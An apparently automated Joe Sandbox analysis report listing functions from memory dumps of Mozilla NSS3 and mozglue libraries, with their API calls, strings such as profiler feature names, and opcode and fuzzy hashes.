__aulldiv.LIBCMT ref: 6CA88DD7

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 3d4e3e4d2ec4ea5cea98a307bf5c5910ea9886ec4229fdf42326388a1c3ff761
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: CC328D71F011198BDF18CE9DC8A17EEB7B2FB88300F15853AD406BB794DA389D858B91

Function 6CB6EE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB6F019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6CB6F0F9

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: b7b9460020041934164cb78a9498ce1669ba732e2b02ead8e86e2e8741731a4b
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: 7491A075E0025A8BCB14CF69C8916AEB7F1FF85324F24472DD962A7BC0D730A905CB91

Function 6CBB0E20 Relevance: 2.8, APIs: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6CBB1052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6CBB1086

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: memcpymemset
String ID:
API String ID: 1297977491-0
Opcode ID: 3a3324bcb00e831d824bbf3601eecaf88620ed2a7952f4bc6a3f3cbef9fd7a1e
Instruction ID: 4d169919356dac806af5b2e11a1f4cd97091cd3a1d0848eacdc7f1476a3dd4a7
Opcode Fuzzy Hash: 3a3324bcb00e831d824bbf3601eecaf88620ed2a7952f4bc6a3f3cbef9fd7a1e
Instruction Fuzzy Hash: 31A10971B0129A9BDF08CF99D990ABEB7B6FF88314B148129E915B7700DB35EC11CB91

Function 6CADAC60 Relevance: 2.7, Strings: 2, Instructions: 181COMMON

Download Yara Rule

Strings

winUnlock, xrefs: 6CADAE18
winUnlockReadLock, xrefs: 6CADAE9F

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID:
String ID: winUnlock$winUnlockReadLock
API String ID: 0-3432436631
Opcode ID: 7830df4e8c7702bb6359c44a17ca7befcad6fd8ac1ae0599bc3a04507deef758
Instruction ID: 54e58e919858175c361a94689f02556ed43e8c3b556a553b684c439bdad08b57
Opcode Fuzzy Hash: 7830df4e8c7702bb6359c44a17ca7befcad6fd8ac1ae0599bc3a04507deef758
Instruction Fuzzy Hash: 60717E71608245ABDB04CF29E884AAABBF5FF89314F15C61CF94997241DB30A986CBD1

Function 6CB9ED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6CB9EE3D

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: 475c0ea86bf362747e21c1fccbd7158628115b38788cca69c0167c375fd2aeb3
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: A971C372A01B818BEB18CF59C88076EBBF2FB99314F15463ED85697B91D730E900CB91

Function 6CA65C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6CA34A63,?,?), ref: 6CA65F06

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 3e0aee480bdf4524993b6bd3827bd0304147dd2283b6b41e4a02834be4d22743
Instruction ID: b743812177083fb3395e68e2f5c67fc072b1ba59f40d5704ae2d21aff5597abc
Opcode Fuzzy Hash: 3e0aee480bdf4524993b6bd3827bd0304147dd2283b6b41e4a02834be4d22743
Instruction Fuzzy Hash: 21C1C475D012098BCB14CF96C5906DEBBF2FF8A318F28415DD8556BF46D7326885CB90

Function 6CAD4DB0 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6CAD5125

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID:
String ID: winUnlockReadLock
API String ID: 0-4244601998
Opcode ID: 6c044e96aa2efeeb13b633cf6a9e8015fdeddc392513d0d93b15c545e58f7df9
Instruction ID: efd195b87b07c918ca6e96953c1573f7d345e6352c491dcffb6b7e137cd20dda
Opcode Fuzzy Hash: 6c044e96aa2efeeb13b633cf6a9e8015fdeddc392513d0d93b15c545e58f7df9
Instruction Fuzzy Hash: 14E11BB0A083419FDB04DF29D48865ABBF0FF99314F55961DF88997251EB30E985CB82

Function 6CA976E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: e2dbce719b1c51cb184862406c3977ca29eb3165524b49eb372684f94d7a7f45
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 7832E671E106198FCB14CF99C891AADFBF2BF88304F688169C949E7745D731A986CF90

Function 6CA50512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: d30d0a3136f78b8b35c6ff8b907e8639e1e0c9b216cb3bab3df48a56ef98f449
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: BE221871E00619CFCB14CF98C890AADF7B2FF88308F588699D54AA7705D731A996CF90

Function 6CA9AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f58fcc9d01fc81c9c37f3e557e32d18cfd014f8d5ee22b9eeae2bcaeb63dee45
Instruction ID: bb309899ea4ca03b379a2b1c26edc915a5259b35665374dd1837fc108d4f375f
Opcode Fuzzy Hash: f58fcc9d01fc81c9c37f3e557e32d18cfd014f8d5ee22b9eeae2bcaeb63dee45
Instruction Fuzzy Hash: EFF13A71E187454FD700CE68C8823AAB7E3AFC5318F198A1EE8D587791E7749CC98792

Function 6CB38EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 210ebb6323ba87109a38f47270639335392eb7e1fc458a4c92123efc9fde2b1a
Instruction ID: f1050509f07999a016d4d3a9a7e9cc1a2ac06d425bde4e869e1cb1906eb971ae
Opcode Fuzzy Hash: 210ebb6323ba87109a38f47270639335392eb7e1fc458a4c92123efc9fde2b1a
Instruction Fuzzy Hash: F211B272A012658BDB04CF25D88475AB7B5FF41318F04666BD809CFA81C776D886C7C3

Function 6CC10C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d56803a93f92572e34b843fa51d27b41b50bbc9c9a8a73270c327209ac0842d
Instruction ID: a830db2a5567ffa072c281ab3e3691f0e739f2ec800a73b9442028b45ad402e0
Opcode Fuzzy Hash: 3d56803a93f92572e34b843fa51d27b41b50bbc9c9a8a73270c327209ac0842d
Instruction Fuzzy Hash: 4111E774708305DFCB00DF1AC8906AA7BB1FF85368F14816DD8198BB01EB31E816DB91

Function 6CC10D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 2c281198b98c8ec42dcb9c37c9cb43de506ca3cedcb8d87b7fd9407e4f78e5d2
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: 91E0923A21A454A7DB149E0AC451AA97359EF81619FB480FECC5D9FE01F733F8139781

Function 6CB3CC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1fe273d6bc3f01abf7cfb49417d0e9466ef576a1883cbcb22940161713aca280
Instruction ID: 1d5595fa77e94ce4cda86fae0cdbc1b9edeaa9b45d2086426a0f0faf7c328e08
Opcode Fuzzy Hash: 1fe273d6bc3f01abf7cfb49417d0e9466ef576a1883cbcb22940161713aca280
Instruction Fuzzy Hash: CCC04838244608CFC704DA49E4899A83BB8AB496117040094EA028B721DB21F800DA80

Function 6CA6CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6CA3582D), ref: 6CA6CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6CA3582D), ref: 6CA6CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6CA9FE98,?,?,?,?,?,6CA3582D), ref: 6CA6CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6CA3582D), ref: 6CA6CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6CA3582D), ref: 6CA6CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6CA3582D), ref: 6CA6CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6CA3582D), ref: 6CA6CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6CA6CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6CA6CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6CA6CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6CA6CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6CA6CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6CA6CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6CA6CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6CA6CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6CA6CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6CA6CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6CA6CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6CA6CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6CA6CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6CA6CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6CA6CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6CA6CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6CA6CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6CA6CE8A

Strings

default, xrefs: 6CA6CC21
mainthreadio, xrefs: 6CA6CC7C
Unrecognized feature "%s"., xrefs: 6CA6CEA0
ipcmessages, xrefs: 6CA6CDBE
nativeallocations, xrefs: 6CA6CDA8
jsallocations, xrefs: 6CA6CD0E
markersallthreads, xrefs: 6CA6CE42
cpuallthreads, xrefs: 6CA6CE16
preferencereads, xrefs: 6CA6CD92
audiocallbacktracing, xrefs: 6CA6CDD4
power, xrefs: 6CA6CE84
fileio, xrefs: 6CA6CC92
samplingallthreads, xrefs: 6CA6CE2C
screenshots, xrefs: 6CA6CCD4
notimerresolutionchange, xrefs: 6CA6CE00
seqstyle, xrefs: 6CA6CCE6
java, xrefs: 6CA6CC37
processcpu, xrefs: 6CA6CE6E
stackwalk, xrefs: 6CA6CCF8
leaf, xrefs: 6CA6CC66
noiostacks, xrefs: 6CA6CCBE
nostacksampling, xrefs: 6CA6CD7C
fileioall, xrefs: 6CA6CCA8
unregisteredthreads, xrefs: 6CA6CE58

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 078d025d988bbfe7d9d86f257e38759df0a121ed79718aa4a0ae47f41f19e8bf
Instruction ID: cec0ca28833452aef1bd02060919bcbdb24e92166d04f88d651c55fbe099411f
Opcode Fuzzy Hash: 078d025d988bbfe7d9d86f257e38759df0a121ed79718aa4a0ae47f41f19e8bf
Instruction Fuzzy Hash: 8151FCD191562497FE0031179E12BAB1485FF1324EF54503AEE1AA1F80FF08D2CE46B7

Function 6CA34470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA34730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CA344B2,6CAAE21C,6CAAF7F8), ref: 6CA3473E
Part of subcall function 6CA34730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CA3474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6CA344BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6CA344D2
InitOnceExecuteOnce.KERNEL32(6CAAF80C,6CA2F240,?,?), ref: 6CA3451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CA3455C
LoadLibraryW.KERNEL32(?), ref: 6CA34592
InitializeCriticalSection.KERNEL32(6CAAF770), ref: 6CA345A2
moz_xmalloc.MOZGLUE(00000008), ref: 6CA345AA
moz_xmalloc.MOZGLUE(00000018), ref: 6CA345BB
InitOnceExecuteOnce.KERNEL32(6CAAF818,6CA2F240,?,?), ref: 6CA34612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6CA34636
LoadLibraryW.KERNEL32(user32.dll), ref: 6CA34644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6CA3466D
VerSetConditionMask.NTDLL ref: 6CA3469F
VerSetConditionMask.NTDLL ref: 6CA346AB
VerSetConditionMask.NTDLL ref: 6CA346B2
VerSetConditionMask.NTDLL ref: 6CA346B9
VerSetConditionMask.NTDLL ref: 6CA346C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CA346CD
GetModuleHandleW.KERNEL32(00000000), ref: 6CA346F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6CA346FD

Strings

WRusr.dll, xrefs: 6CA344B5
user32.dll, xrefs: 6CA34557, 6CA3463F
kernel32.dll, xrefs: 6CA344CD
NativeNtBlockSet_Write, xrefs: 6CA346F7
l, xrefs: 6CA34578

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: 99745aa216ac3ef7dba1866663fa8d57cac10f3cea6ccd20a565d604cecc1619
Instruction ID: 9d2a5fd48cdccac669e8f68498bd524753a404d046f62a94277f76c77ea222e0
Opcode Fuzzy Hash: 99745aa216ac3ef7dba1866663fa8d57cac10f3cea6ccd20a565d604cecc1619
Instruction Fuzzy Hash: 1F6107B0A0035A9FEB188FE4EC19B997BB8FB46308F04D15CE508DB641D77189C6CBA0

Function 6CC16E50 Relevance: 42.2, APIs: 19, Strings: 5, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CACCA30: EnterCriticalSection.KERNEL32(?,?,?,6CB2F9C9,?,6CB2F4DA,6CB2F9C9,?,?,6CAF369A), ref: 6CACCA7A
Part of subcall function 6CACCA30: LeaveCriticalSection.KERNEL32(?), ref: 6CACCB26

memset.VCRUNTIME140(00000000,00000000,?,?,6CADBE66), ref: 6CC16E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6CADBE66), ref: 6CC16E98
sqlite3_snprintf.NSS3(?,00000000,6CC7AAF9,?,?,?,?,?,?,6CADBE66), ref: 6CC16EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6CADBE66), ref: 6CC16ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6CADBE66), ref: 6CC16EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6CADBE66), ref: 6CC16F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6CADBE66), ref: 6CC16F28
